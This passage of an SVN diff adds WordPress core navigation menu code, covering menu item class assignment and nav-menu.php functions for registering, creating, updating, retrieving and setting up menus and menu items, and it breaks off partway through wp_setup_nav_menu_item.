+	$active_parent_object_ids = array_filter( array_unique( $active_parent_object_ids ) );
+
+	// set parent's class
+	foreach ( (array) $menu_items as $key => $parent_item ) {
+		$classes = (array) $parent_item->classes;
+		$menu_items[$key]->current_item_ancestor = false;
+		$menu_items[$key]->current_item_parent = false;
+
+		if (
+			isset( $parent_item->type ) &&
+			(
+				// ancestral post object
+				(
+					'post_type' == $parent_item->type &&
+					! empty( $queried_object->post_type ) &&
+					is_post_type_hierarchical( $queried_object->post_type ) &&
+					in_array( $parent_item->object_id, $queried_object->ancestors ) &&
+					$parent_item->object != $queried_object->ID
+				) ||
+
+				// ancestral term
+				(
+					'taxonomy' == $parent_item->type &&
+					isset( $possible_taxonomy_ancestors[ $parent_item->object ] ) &&
+					in_array( $parent_item->object_id, $possible_taxonomy_ancestors[ $parent_item->object ] ) &&
+					(
+						! isset( $queried_object->term_id ) ||
+						$parent_item->object_id != $queried_object->term_id
+					)
+				)
+			)
+		) {
+			$classes[] = empty( $queried_object->taxonomy ) ? 'current-' . $queried_object->post_type . '-ancestor' : 'current-' . $queried_object->taxonomy . '-ancestor';
+		}
+
+		if ( in_array(  intval( $parent_item->db_id ), $active_ancestor_item_ids ) ) {
+			$classes[] = 'current-menu-ancestor';
+			$menu_items[$key]->current_item_ancestor = true;
+		}
+		if ( in_array( $parent_item->db_id, $active_parent_item_ids ) ) {
+			$classes[] = 'current-menu-parent';
+			$menu_items[$key]->current_item_parent = true;
+		}
+		if ( in_array( $parent_item->object_id, $active_parent_object_ids ) )
+			$classes[] = 'current-' . $active_object . '-parent';
+
+		if ( 'post_type' == $parent_item->type && 'page' == $parent_item->object ) {
+			// Back compat classes for pages to match wp_page_menu()
+			if ( in_array('current-menu-parent', $classes) )
+				$classes[] = 'current_page_parent';
+			if ( in_array('current-menu-ancestor', $classes) )
+				$classes[] = 'current_page_ancestor';
+		}
+
+		$menu_items[$key]->classes = array_unique( $classes );
+	}
+}
+
+/**
+ * Retrieve the HTML list content for nav menu items.
+ *
+ * @uses Walker_Nav_Menu to create HTML list content.
+ * @since 3.0.0
+ *
+ * @param array    $items The menu items, sorted by each menu item's menu order.
+ * @param int      $depth Depth of the item in reference to parents.
+ * @param stdClass $r     An object containing wp_nav_menu() arguments.
+ * @return string The HTML list content for the menu items.
+ */
+function walk_nav_menu_tree( $items, $depth, $r ) {
+	$walker = ( empty($r->walker) ) ? new Walker_Nav_Menu : $r->walker;
+	$args = array( $items, $depth, $r );
+
+	return call_user_func_array( array( $walker, 'walk' ), $args );
+}
+
+/**
+ * Prevents a menu item ID from being used more than once.
+ *
+ * @since 3.0.1
+ * @access private
+ *
+ * @staticvar array $used_ids
+ * @param string $id
+ * @param object $item
+ * @return string
+ */
+function _nav_menu_item_id_use_once( $id, $item ) {
+	static $_used_ids = array();
+	if ( in_array( $item->ID, $_used_ids ) ) {
+		return '';
+	}
+	$_used_ids[] = $item->ID;
+	return $id;
+}
Index: /tags/5.0.20/src/wp-includes/nav-menu.php
===================================================================
--- /tags/5.0.20/src/wp-includes/nav-menu.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/nav-menu.php	(revision 56912)
@@ -0,0 +1,1180 @@
+<?php
+/**
+ * Navigation Menu functions
+ *
+ * @package WordPress
+ * @subpackage Nav_Menus
+ * @since 3.0.0
+ */
+
+/**
+ * Returns a navigation menu object.
+ *
+ * @since 3.0.0
+ *
+ * @param int|string|WP_Term $menu Menu ID, slug, name, or object.
+ * @return WP_Term|false False if $menu param isn't supplied or term does not exist, menu object if successful.
+ */
+function wp_get_nav_menu_object( $menu ) {
+	$menu_obj = false;
+
+	if ( is_object( $menu ) ) {
+		$menu_obj = $menu;
+	}
+
+	if ( $menu && ! $menu_obj ) {
+		$menu_obj = get_term( $menu, 'nav_menu' );
+
+		if ( ! $menu_obj ) {
+			$menu_obj = get_term_by( 'slug', $menu, 'nav_menu' );
+		}
+
+		if ( ! $menu_obj ) {
+			$menu_obj = get_term_by( 'name', $menu, 'nav_menu' );
+		}
+	}
+
+	if ( ! $menu_obj || is_wp_error( $menu_obj ) ) {
+		$menu_obj = false;
+	}
+
+	/**
+	 * Filters the nav_menu term retrieved for wp_get_nav_menu_object().
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Term|false      $menu_obj Term from nav_menu taxonomy, or false if nothing had been found.
+	 * @param int|string|WP_Term $menu     The menu ID, slug, name, or object passed to wp_get_nav_menu_object().
+	 */
+	return apply_filters( 'wp_get_nav_menu_object', $menu_obj, $menu );
+}
+
+/**
+ * Check if the given ID is a navigation menu.
+ *
+ * Returns true if it is; false otherwise.
+ *
+ * @since 3.0.0
+ *
+ * @param int|string|WP_Term $menu Menu ID, slug, name, or object of menu to check.
+ * @return bool Whether the menu exists.
+ */
+function is_nav_menu( $menu ) {
+	if ( ! $menu )
+		return false;
+
+	$menu_obj = wp_get_nav_menu_object( $menu );
+
+	if (
+		$menu_obj &&
+		! is_wp_error( $menu_obj ) &&
+		! empty( $menu_obj->taxonomy ) &&
+		'nav_menu' == $menu_obj->taxonomy
+	)
+		return true;
+
+	return false;
+}
+
+/**
+ * Registers navigation menu locations for a theme.
+ *
+ * @since 3.0.0
+ *
+ * @global array $_wp_registered_nav_menus
+ *
+ * @param array $locations Associative array of menu location identifiers (like a slug) and descriptive text.
+ */
+function register_nav_menus( $locations = array() ) {
+	global $_wp_registered_nav_menus;
+
+	add_theme_support( 'menus' );
+
+	$_wp_registered_nav_menus = array_merge( (array) $_wp_registered_nav_menus, $locations );
+}
+
+/**
+ * Unregisters a navigation menu location for a theme.
+ *
+ * @since 3.1.0
+ * @global array $_wp_registered_nav_menus
+ *
+ * @param string $location The menu location identifier.
+ * @return bool True on success, false on failure.
+ */
+function unregister_nav_menu( $location ) {
+	global $_wp_registered_nav_menus;
+
+	if ( is_array( $_wp_registered_nav_menus ) && isset( $_wp_registered_nav_menus[$location] ) ) {
+		unset( $_wp_registered_nav_menus[$location] );
+		if ( empty( $_wp_registered_nav_menus ) ) {
+			_remove_theme_support( 'menus' );
+		}
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Registers a navigation menu location for a theme.
+ *
+ * @since 3.0.0
+ *
+ * @param string $location    Menu location identifier, like a slug.
+ * @param string $description Menu location descriptive text.
+ */
+function register_nav_menu( $location, $description ) {
+	register_nav_menus( array( $location => $description ) );
+}
+/**
+ * Retrieves all registered navigation menu locations in a theme.
+ *
+ * @since 3.0.0
+ *
+ * @global array $_wp_registered_nav_menus
+ *
+ * @return array Registered navigation menu locations. If none are registered, an empty array.
+ */
+function get_registered_nav_menus() {
+	global $_wp_registered_nav_menus;
+	if ( isset( $_wp_registered_nav_menus ) )
+		return $_wp_registered_nav_menus;
+	return array();
+}
+
+/**
+ * Retrieves all registered navigation menu locations and the menus assigned to them.
+ *
+ * @since 3.0.0
+ *
+ * @return array Registered navigation menu locations and the menus assigned them.
+ *               If none are registered, an empty array.
+ */
+
+function get_nav_menu_locations() {
+	$locations = get_theme_mod( 'nav_menu_locations' );
+	return ( is_array( $locations ) ) ? $locations : array();
+}
+
+/**
+ * Determines whether a registered nav menu location has a menu assigned to it.
+ *
+ * @since 3.0.0
+ *
+ * @param string $location Menu location identifier.
+ * @return bool Whether location has a menu.
+ */
+function has_nav_menu( $location ) {
+	$has_nav_menu = false;
+
+	$registered_nav_menus = get_registered_nav_menus();
+	if ( isset( $registered_nav_menus[ $location ] ) ) {
+		$locations = get_nav_menu_locations();
+		$has_nav_menu = ! empty( $locations[ $location ] );
+	}
+
+	/**
+	 * Filters whether a nav menu is assigned to the specified location.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param bool   $has_nav_menu Whether there is a menu assigned to a location.
+	 * @param string $location     Menu location.
+	 */
+	return apply_filters( 'has_nav_menu', $has_nav_menu, $location );
+}
+
+/**
+ * Returns the name of a navigation menu.
+ *
+ * @since 4.9.0
+ *
+ * @param string $location Menu location identifier.
+ * @return string Menu name.
+ */
+function wp_get_nav_menu_name( $location ) {
+	$menu_name = '';
+
+	$locations = get_nav_menu_locations();
+
+	if ( isset( $locations[ $location ] ) ) {
+		$menu = wp_get_nav_menu_object( $locations[ $location ] );
+
+		if ( $menu && $menu->name ) {
+			$menu_name = $menu->name;
+		}
+	}
+
+	/**
+	 * Filters the navigation menu name being returned.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string $menu_name Menu name.
+	 * @param string $location  Menu location identifier.
+	 */
+	return apply_filters( 'wp_get_nav_menu_name', $menu_name, $location );
+}
+
+/**
+ * Determines whether the given ID is a nav menu item.
+ *
+ * @since 3.0.0
+ *
+ * @param int $menu_item_id The ID of the potential nav menu item.
+ * @return bool Whether the given ID is that of a nav menu item.
+ */
+function is_nav_menu_item( $menu_item_id = 0 ) {
+	return ( ! is_wp_error( $menu_item_id ) && ( 'nav_menu_item' == get_post_type( $menu_item_id ) ) );
+}
+
+/**
+ * Creates a navigation menu.
+ *
+ * Note that `$menu_name` is expected to be pre-slashed.
+ *
+ * @since 3.0.0
+ *
+ * @param string $menu_name Menu name.
+ * @return int|WP_Error Menu ID on success, WP_Error object on failure.
+ */
+function wp_create_nav_menu( $menu_name ) {
+	// expected_slashed ($menu_name)
+	return wp_update_nav_menu_object( 0, array( 'menu-name' => $menu_name ) );
+}
+
+/**
+ * Delete a Navigation Menu.
+ *
+ * @since 3.0.0
+ *
+ * @param int|string|WP_Term $menu Menu ID, slug, name, or object.
+ * @return bool|WP_Error True on success, false or WP_Error object on failure.
+ */
+function wp_delete_nav_menu( $menu ) {
+	$menu = wp_get_nav_menu_object( $menu );
+	if ( ! $menu )
+		return false;
+
+	$menu_objects = get_objects_in_term( $menu->term_id, 'nav_menu' );
+	if ( ! empty( $menu_objects ) ) {
+		foreach ( $menu_objects as $item ) {
+			wp_delete_post( $item );
+		}
+	}
+
+	$result = wp_delete_term( $menu->term_id, 'nav_menu' );
+
+	// Remove this menu from any locations.
+	$locations = get_nav_menu_locations();
+	foreach ( $locations as $location => $menu_id ) {
+		if ( $menu_id == $menu->term_id )
+			$locations[ $location ] = 0;
+	}
+	set_theme_mod( 'nav_menu_locations', $locations );
+
+	if ( $result && !is_wp_error($result) )
+
+		/**
+		 * Fires after a navigation menu has been successfully deleted.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param int $term_id ID of the deleted menu.
+		 */
+		do_action( 'wp_delete_nav_menu', $menu->term_id );
+
+	return $result;
+}
+
+/**
+ * Save the properties of a menu or create a new menu with those properties.
+ *
+ * Note that `$menu_data` is expected to be pre-slashed.
+ *
+ * @since 3.0.0
+ *
+ * @param int   $menu_id   The ID of the menu or "0" to create a new menu.
+ * @param array $menu_data The array of menu data.
+ * @return int|WP_Error Menu ID on success, WP_Error object on failure.
+ */
+function wp_update_nav_menu_object( $menu_id = 0, $menu_data = array() ) {
+	// expected_slashed ($menu_data)
+	$menu_id = (int) $menu_id;
+
+	$_menu = wp_get_nav_menu_object( $menu_id );
+
+	$args = array(
+		'description' => ( isset( $menu_data['description'] ) ? $menu_data['description']  : '' ),
+		'name'        => ( isset( $menu_data['menu-name']   ) ? $menu_data['menu-name']    : '' ),
+		'parent'      => ( isset( $menu_data['parent']      ) ? (int) $menu_data['parent'] : 0  ),
+		'slug'        => null,
+	);
+
+	// double-check that we're not going to have one menu take the name of another
+	$_possible_existing = get_term_by( 'name', $menu_data['menu-name'], 'nav_menu' );
+	if (
+		$_possible_existing &&
+		! is_wp_error( $_possible_existing ) &&
+		isset( $_possible_existing->term_id ) &&
+		$_possible_existing->term_id != $menu_id
+	) {
+		return new WP_Error( 'menu_exists',
+			/* translators: %s: menu name */
+			sprintf( __( 'The menu name %s conflicts with another menu name. Please try another.' ),
+				'<strong>' . esc_html( $menu_data['menu-name'] ) . '</strong>'
+			)
+		);
+	}
+
+	// menu doesn't already exist, so create a new menu
+	if ( ! $_menu || is_wp_error( $_menu ) ) {
+		$menu_exists = get_term_by( 'name', $menu_data['menu-name'], 'nav_menu' );
+
+		if ( $menu_exists ) {
+			return new WP_Error( 'menu_exists',
+				/* translators: %s: menu name */
+				sprintf( __( 'The menu name %s conflicts with another menu name. Please try another.' ),
+					'<strong>' . esc_html( $menu_data['menu-name'] ) . '</strong>'
+				)
+			);
+		}
+
+		$_menu = wp_insert_term( $menu_data['menu-name'], 'nav_menu', $args );
+
+		if ( is_wp_error( $_menu ) )
+			return $_menu;
+
+		/**
+		 * Fires after a navigation menu is successfully created.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param int   $term_id   ID of the new menu.
+		 * @param array $menu_data An array of menu data.
+		 */
+		do_action( 'wp_create_nav_menu', $_menu['term_id'], $menu_data );
+
+		return (int) $_menu['term_id'];
+	}
+
+	if ( ! $_menu || ! isset( $_menu->term_id ) )
+		return 0;
+
+	$menu_id = (int) $_menu->term_id;
+
+	$update_response = wp_update_term( $menu_id, 'nav_menu', $args );
+
+	if ( is_wp_error( $update_response ) )
+		return $update_response;
+
+	$menu_id = (int) $update_response['term_id'];
+
+	/**
+	 * Fires after a navigation menu has been successfully updated.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int   $menu_id   ID of the updated menu.
+	 * @param array $menu_data An array of menu data.
+	 */
+	do_action( 'wp_update_nav_menu', $menu_id, $menu_data );
+	return $menu_id;
+}
+
+/**
+ * Save the properties of a menu item or create a new one.
+ *
+ * The menu-item-title, menu-item-description, and menu-item-attr-title are expected
+ * to be pre-slashed since they are passed directly into `wp_insert_post()`.
+ *
+ * @since 3.0.0
+ *
+ * @param int   $menu_id         The ID of the menu. Required. If "0", makes the menu item a draft orphan.
+ * @param int   $menu_item_db_id The ID of the menu item. If "0", creates a new menu item.
+ * @param array $menu_item_data  The menu item's data.
+ * @return int|WP_Error The menu item's database ID or WP_Error object on failure.
+ */
+function wp_update_nav_menu_item( $menu_id = 0, $menu_item_db_id = 0, $menu_item_data = array() ) {
+	$menu_id = (int) $menu_id;
+	$menu_item_db_id = (int) $menu_item_db_id;
+
+	// make sure that we don't convert non-nav_menu_item objects into nav_menu_item objects
+	if ( ! empty( $menu_item_db_id ) && ! is_nav_menu_item( $menu_item_db_id ) )
+		return new WP_Error( 'update_nav_menu_item_failed', __( 'The given object ID is not that of a menu item.' ) );
+
+	$menu = wp_get_nav_menu_object( $menu_id );
+
+	if ( ! $menu && 0 !== $menu_id ) {
+		return new WP_Error( 'invalid_menu_id', __( 'Invalid menu ID.' ) );
+	}
+
+	if ( is_wp_error( $menu ) ) {
+		return $menu;
+	}
+
+	$defaults = array(
+		'menu-item-db-id' => $menu_item_db_id,
+		'menu-item-object-id' => 0,
+		'menu-item-object' => '',
+		'menu-item-parent-id' => 0,
+		'menu-item-position' => 0,
+		'menu-item-type' => 'custom',
+		'menu-item-title' => '',
+		'menu-item-url' => '',
+		'menu-item-description' => '',
+		'menu-item-attr-title' => '',
+		'menu-item-target' => '',
+		'menu-item-classes' => '',
+		'menu-item-xfn' => '',
+		'menu-item-status' => '',
+	);
+
+	$args = wp_parse_args( $menu_item_data, $defaults );
+
+	if ( 0 == $menu_id ) {
+		$args['menu-item-position'] = 1;
+	} elseif ( 0 == (int) $args['menu-item-position'] ) {
+		$menu_items = 0 == $menu_id ? array() : (array) wp_get_nav_menu_items( $menu_id, array( 'post_status' => 'publish,draft' ) );
+		$last_item = array_pop( $menu_items );
+		$args['menu-item-position'] = ( $last_item && isset( $last_item->menu_order ) ) ? 1 + $last_item->menu_order : count( $menu_items );
+	}
+
+	$original_parent = 0 < $menu_item_db_id ? get_post_field( 'post_parent', $menu_item_db_id ) : 0;
+
+	if ( 'custom' != $args['menu-item-type'] ) {
+		/* if non-custom menu item, then:
+			* use original object's URL
+			* blank default title to sync with original object's
+		*/
+
+		$args['menu-item-url'] = '';
+
+		$original_title = '';
+		if ( 'taxonomy' == $args['menu-item-type'] ) {
+			$original_parent = get_term_field( 'parent', $args['menu-item-object-id'], $args['menu-item-object'], 'raw' );
+			$original_title = get_term_field( 'name', $args['menu-item-object-id'], $args['menu-item-object'], 'raw' );
+		} elseif ( 'post_type' == $args['menu-item-type'] ) {
+
+			$original_object = get_post( $args['menu-item-object-id'] );
+			$original_parent = (int) $original_object->post_parent;
+			$original_title = $original_object->post_title;
+		} elseif ( 'post_type_archive' == $args['menu-item-type'] ) {
+			$original_object = get_post_type_object( $args['menu-item-object'] );
+			if ( $original_object ) {
+				$original_title = $original_object->labels->archives;
+			}
+		}
+
+		if ( $args['menu-item-title'] == $original_title )
+			$args['menu-item-title'] = '';
+
+		// hack to get wp to create a post object when too many properties are empty
+		if ( '' ==  $args['menu-item-title'] && '' == $args['menu-item-description'] )
+			$args['menu-item-description'] = ' ';
+	}
+
+	// Populate the menu item object
+	$post = array(
+		'menu_order' => $args['menu-item-position'],
+		'ping_status' => 0,
+		'post_content' => $args['menu-item-description'],
+		'post_excerpt' => $args['menu-item-attr-title'],
+		'post_parent' => $original_parent,
+		'post_title' => $args['menu-item-title'],
+		'post_type' => 'nav_menu_item',
+	);
+
+	$update = 0 != $menu_item_db_id;
+
+	// New menu item. Default is draft status
+	if ( ! $update ) {
+		$post['ID'] = 0;
+		$post['post_status'] = 'publish' == $args['menu-item-status'] ? 'publish' : 'draft';
+		$menu_item_db_id = wp_insert_post( $post );
+		if ( ! $menu_item_db_id	|| is_wp_error( $menu_item_db_id ) )
+			return $menu_item_db_id;
+
+		/**
+		 * Fires immediately after a new navigation menu item has been added.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @see wp_update_nav_menu_item()
+		 *
+		 * @param int   $menu_id         ID of the updated menu.
+		 * @param int   $menu_item_db_id ID of the new menu item.
+		 * @param array $args            An array of arguments used to update/add the menu item.
+		 */
+		do_action( 'wp_add_nav_menu_item', $menu_id, $menu_item_db_id, $args );
+	}
+
+	// Associate the menu item with the menu term
+	// Only set the menu term if it isn't set to avoid unnecessary wp_get_object_terms()
+	 if ( $menu_id && ( ! $update || ! is_object_in_term( $menu_item_db_id, 'nav_menu', (int) $menu->term_id ) ) ) {
+		wp_set_object_terms( $menu_item_db_id, array( $menu->term_id ), 'nav_menu' );
+	}
+
+	if ( 'custom' == $args['menu-item-type'] ) {
+		$args['menu-item-object-id'] = $menu_item_db_id;
+		$args['menu-item-object'] = 'custom';
+	}
+
+	$menu_item_db_id = (int) $menu_item_db_id;
+
+	update_post_meta( $menu_item_db_id, '_menu_item_type', sanitize_key($args['menu-item-type']) );
+	update_post_meta( $menu_item_db_id, '_menu_item_menu_item_parent', strval( (int) $args['menu-item-parent-id'] ) );
+	update_post_meta( $menu_item_db_id, '_menu_item_object_id', strval( (int) $args['menu-item-object-id'] ) );
+	update_post_meta( $menu_item_db_id, '_menu_item_object', sanitize_key($args['menu-item-object']) );
+	update_post_meta( $menu_item_db_id, '_menu_item_target', sanitize_key($args['menu-item-target']) );
+
+	$args['menu-item-classes'] = array_map( 'sanitize_html_class', explode( ' ', $args['menu-item-classes'] ) );
+	$args['menu-item-xfn'] = implode( ' ', array_map( 'sanitize_html_class', explode( ' ', $args['menu-item-xfn'] ) ) );
+	update_post_meta( $menu_item_db_id, '_menu_item_classes', $args['menu-item-classes'] );
+	update_post_meta( $menu_item_db_id, '_menu_item_xfn', $args['menu-item-xfn'] );
+	update_post_meta( $menu_item_db_id, '_menu_item_url', esc_url_raw($args['menu-item-url']) );
+
+	if ( 0 == $menu_id )
+		update_post_meta( $menu_item_db_id, '_menu_item_orphaned', (string) time() );
+	elseif ( get_post_meta( $menu_item_db_id, '_menu_item_orphaned' ) )
+		delete_post_meta( $menu_item_db_id, '_menu_item_orphaned' );
+
+	// Update existing menu item. Default is publish status
+	if ( $update ) {
+		$post['ID'] = $menu_item_db_id;
+		$post['post_status'] = 'draft' == $args['menu-item-status'] ? 'draft' : 'publish';
+		wp_update_post( $post );
+	}
+
+	/**
+	 * Fires after a navigation menu item has been updated.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_update_nav_menu_item()
+	 *
+	 * @param int   $menu_id         ID of the updated menu.
+	 * @param int   $menu_item_db_id ID of the updated menu item.
+	 * @param array $args            An array of arguments used to update a menu item.
+	 */
+	do_action( 'wp_update_nav_menu_item', $menu_id, $menu_item_db_id, $args );
+
+	return $menu_item_db_id;
+}
+
+/**
+ * Returns all navigation menu objects.
+ *
+ * @since 3.0.0
+ * @since 4.1.0 Default value of the 'orderby' argument was changed from 'none'
+ *              to 'name'.
+ *
+ * @param array $args Optional. Array of arguments passed on to get_terms().
+ *                    Default empty array.
+ * @return array Menu objects.
+ */
+function wp_get_nav_menus( $args = array() ) {
+	$defaults = array( 'hide_empty' => false, 'orderby' => 'name' );
+	$args = wp_parse_args( $args, $defaults );
+
+	/**
+	 * Filters the navigation menu objects being returned.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see get_terms()
+	 *
+	 * @param array $menus An array of menu objects.
+	 * @param array $args  An array of arguments used to retrieve menu objects.
+	 */
+	return apply_filters( 'wp_get_nav_menus', get_terms( 'nav_menu',  $args), $args );
+}
+
+/**
+ * Return if a menu item is valid.
+ *
+ * @link https://core.trac.wordpress.org/ticket/13958
+ *
+ * @since 3.2.0
+ * @access private
+ *
+ * @param object $item The menu item to check.
+ * @return bool False if invalid, otherwise true.
+ */
+function _is_valid_nav_menu_item( $item ) {
+	return empty( $item->_invalid );
+}
+
+/**
+ * Retrieves all menu items of a navigation menu.
+ *
+ * Note: Most arguments passed to the `$args` parameter – save for 'output_key' – are
+ * specifically for retrieving nav_menu_item posts from get_posts() and may only
+ * indirectly affect the ultimate ordering and content of the resulting nav menu
+ * items that get returned from this function.
+ *
+ * @since 3.0.0
+ *
+ * @global string $_menu_item_sort_prop
+ * @staticvar array $fetched
+ *
+ * @param int|string|WP_Term $menu Menu ID, slug, name, or object.
+ * @param array              $args {
+ *     Optional. Arguments to pass to get_posts().
+ *
+ *     @type string $order       How to order nav menu items as queried with get_posts(). Will be ignored
+ *                               if 'output' is ARRAY_A. Default 'ASC'.
+ *     @type string $orderby     Field to order menu items by as retrieved from get_posts(). Supply an orderby
+ *                               field via 'output_key' to affect the output order of nav menu items.
+ *                               Default 'menu_order'.
+ *     @type string $post_type   Menu items post type. Default 'nav_menu_item'.
+ *     @type string $post_status Menu items post status. Default 'publish'.
+ *     @type string $output      How to order outputted menu items. Default ARRAY_A.
+ *     @type string $output_key  Key to use for ordering the actual menu items that get returned. Note that
+ *                               that is not a get_posts() argument and will only affect output of menu items
+ *                               processed in this function. Default 'menu_order'.
+ *     @type bool   $nopaging    Whether to retrieve all menu items (true) or paginate (false). Default true.
+ * }
+ * @return false|array $items Array of menu items, otherwise false.
+ */
+function wp_get_nav_menu_items( $menu, $args = array() ) {
+	$menu = wp_get_nav_menu_object( $menu );
+
+	if ( ! $menu ) {
+		return false;
+	}
+
+	static $fetched = array();
+
+	$items = get_objects_in_term( $menu->term_id, 'nav_menu' );
+	if ( is_wp_error( $items ) ) {
+		return false;
+	}
+
+	$defaults = array( 'order' => 'ASC', 'orderby' => 'menu_order', 'post_type' => 'nav_menu_item',
+		'post_status' => 'publish', 'output' => ARRAY_A, 'output_key' => 'menu_order', 'nopaging' => true );
+	$args = wp_parse_args( $args, $defaults );
+	$args['include'] = $items;
+
+	if ( ! empty( $items ) ) {
+		$items = get_posts( $args );
+	} else {
+		$items = array();
+	}
+
+	// Get all posts and terms at once to prime the caches
+	if ( empty( $fetched[ $menu->term_id ] ) && ! wp_using_ext_object_cache() ) {
+		$fetched[$menu->term_id] = true;
+		$posts = array();
+		$terms = array();
+		foreach ( $items as $item ) {
+			$object_id = get_post_meta( $item->ID, '_menu_item_object_id', true );
+			$object    = get_post_meta( $item->ID, '_menu_item_object',    true );
+			$type      = get_post_meta( $item->ID, '_menu_item_type',      true );
+
+			if ( 'post_type' == $type )
+				$posts[$object][] = $object_id;
+			elseif ( 'taxonomy' == $type)
+				$terms[$object][] = $object_id;
+		}
+
+		if ( ! empty( $posts ) ) {
+			foreach ( array_keys($posts) as $post_type ) {
+				get_posts( array('post__in' => $posts[$post_type], 'post_type' => $post_type, 'nopaging' => true, 'update_post_term_cache' => false) );
+			}
+		}
+		unset($posts);
+
+		if ( ! empty( $terms ) ) {
+			foreach ( array_keys($terms) as $taxonomy ) {
+				get_terms( $taxonomy, array(
+					'include' => $terms[ $taxonomy ],
+					'hierarchical' => false,
+				) );
+			}
+		}
+		unset($terms);
+	}
+
+	$items = array_map( 'wp_setup_nav_menu_item', $items );
+
+	if ( ! is_admin() ) { // Remove invalid items only in front end
+		$items = array_filter( $items, '_is_valid_nav_menu_item' );
+	}
+
+	if ( ARRAY_A == $args['output'] ) {
+		$items = wp_list_sort( $items, array(
+			$args['output_key'] => 'ASC',
+		) );
+		$i = 1;
+		foreach ( $items as $k => $item ) {
+			$items[$k]->{$args['output_key']} = $i++;
+		}
+	}
+
+	/**
+	 * Filters the navigation menu items being returned.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array  $items An array of menu item post objects.
+	 * @param object $menu  The menu object.
+	 * @param array  $args  An array of arguments used to retrieve menu item objects.
+	 */
+	return apply_filters( 'wp_get_nav_menu_items', $items, $menu, $args );
+}
+
+/**
+ * Decorates a menu item object with the shared navigation menu item properties.
+ *
+ * Properties:
+ * - ID:               The term_id if the menu item represents a taxonomy term.
+ * - attr_title:       The title attribute of the link element for this menu item.
+ * - classes:          The array of class attribute values for the link element of this menu item.
+ * - db_id:            The DB ID of this item as a nav_menu_item object, if it exists (0 if it doesn't exist).
+ * - description:      The description of this menu item.
+ * - menu_item_parent: The DB ID of the nav_menu_item that is this item's menu parent, if any. 0 otherwise.
+ * - object:           The type of object originally represented, such as "category," "post", or "attachment."
+ * - object_id:        The DB ID of the original object this menu item represents, e.g. ID for posts and term_id for categories.
+ * - post_parent:      The DB ID of the original object's parent object, if any (0 otherwise).
+ * - post_title:       A "no title" label if menu item represents a post that lacks a title.
+ * - target:           The target attribute of the link element for this menu item.
+ * - title:            The title of this menu item.
+ * - type:             The family of objects originally represented, such as "post_type" or "taxonomy."
+ * - type_label:       The singular label used to describe this type of menu item.
+ * - url:              The URL to which this menu item points.
+ * - xfn:              The XFN relationship expressed in the link of this menu item.
+ * - _invalid:         Whether the menu item represents an object that no longer exists.
+ *
+ * @since 3.0.0
+ *
+ * @param object $menu_item The menu item to modify.
+ * @return object $menu_item The menu item with standard menu item properties.
+ */
+function wp_setup_nav_menu_item( $menu_item ) {
+	if ( isset( $menu_item->post_type ) ) {
+		if ( 'nav_menu_item' == $menu_item->post_type ) {
+			$menu_item->db_id = (int) $menu_item->ID;
+			$menu_item->menu_item_parent = ! isset( $menu_item->menu_item_parent ) ? get_post_meta( $menu_item->ID, '_menu_item_menu_item_parent', true ) : $menu_item->menu_item_parent;
+			$menu_item->object_id = ! isset( $menu_item->object_id ) ? get_post_meta( $menu_item->ID, '_menu_item_object_id', true ) : $menu_item->object_id;
+			$menu_item->object = ! isset( $menu_item->object ) ? get_post_meta( $menu_item->ID, '_menu_item_object', true ) : $menu_item->object;
+			$menu_item->type = ! isset( $menu_item->type ) ? get_post_meta( $menu_item->ID, '_menu_item_type', true ) : $menu_item->type;
+
+			if ( 'post_type' == $menu_item->type ) {
+				$object = get_post_type_object( $menu_item->object );
+				if ( $object ) {
+					$menu_item->type_label = $object->labels->singular_name;
+				} else {
+					$menu_item->type_label = $menu_item->object;
+					$menu_item->_invalid = true;
+				}
+
+				if ( 'trash' === get_post_status( $menu_item->object_id ) ) {
+					$menu_item->_invalid = true;
+				}
+
+				$menu_item->url = get_permalink( $menu_item->object_id );
+
+				$original_object = get_post( $menu_item->object_id );
+				/** This filter is documented in wp-includes/post-template.php */
+				$original_title = apply_filters( 'the_title', $original_object->post_title, $original_object->ID );
+
+				if ( '' === $original_title ) {
+					/* translators: %d: ID of a post */
+					$original_title = sprintf( __( '#%d (no title)' ), $original_object->ID );
+				}
+
+				$menu_item->title = '' == $menu_item->post_title ? $original_title : $menu_item->post_title;
+
+			} elseif ( 'post_type_archive' == $menu_item->type ) {
+				$object =  get_post_type_object( $menu_item->object );
+				if ( $object ) {
+					$menu_item->title = '' == $menu_item->post_title ? $object->labels->archives : $menu_item->post_title;
+					$post_type_description = $object->description;
+				} else {
+					$menu_item->_invalid = true;
+					$post_type_description = '';
+				}
+
+				$menu_item->type_label = __( 'Post Type Archive' );
+				$post_content = wp_trim_words( $menu_item->post_content, 200 );
+				$post_type_description = '' == $post_content ? $post_type_description : $post_content;
+				$menu_item->url = get_post_type_archive_link( $menu_item->object );
+			} elseif ( 'taxonomy' == $menu_item->type ) {
+				$object = get_taxonomy( $menu_item->object );
+				if ( $object ) {
+					$menu_item->type_label = $object->labels->singular_name;
+				} else {
+					$menu_item->type_label = $menu_item->object;
+					$menu_item->_invalid = true;
+				}
+
+				$term_url = get_term_link( (int) $menu_item->object_id, $menu_item->object );
+				$menu_item->url = !is_wp_error( $term_url ) ? $term_url : '';
+
+				$original_title = get_term_field( 'name', $menu_item->object_id, $menu_item->object, 'raw' );
+				if ( is_wp_error( $original_title ) )
+					$original_title = false;
+				$menu_item->title = '' == $menu_item->post_title ? $original_title : $menu_item->post_title;
+
+			} else {
+				$menu_item->type_label = __('Custom Link');
+				$menu_item->title = $menu_item->post_title;
+				$menu_item->url = ! isset( $menu_item->url ) ? get_post_meta( $menu_item->ID, '_menu_item_url', true ) : $menu_item->url;
+			}
+
+			$menu_item->target = ! isset( $menu_item->target ) ? get_post_meta( $menu_item->ID, '_menu_item_target', true ) : $menu_item->target;
+
+			/**
+			 * Filters a navigation menu item's title attribute.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param string $item_title The menu item title attribute.
+			 */
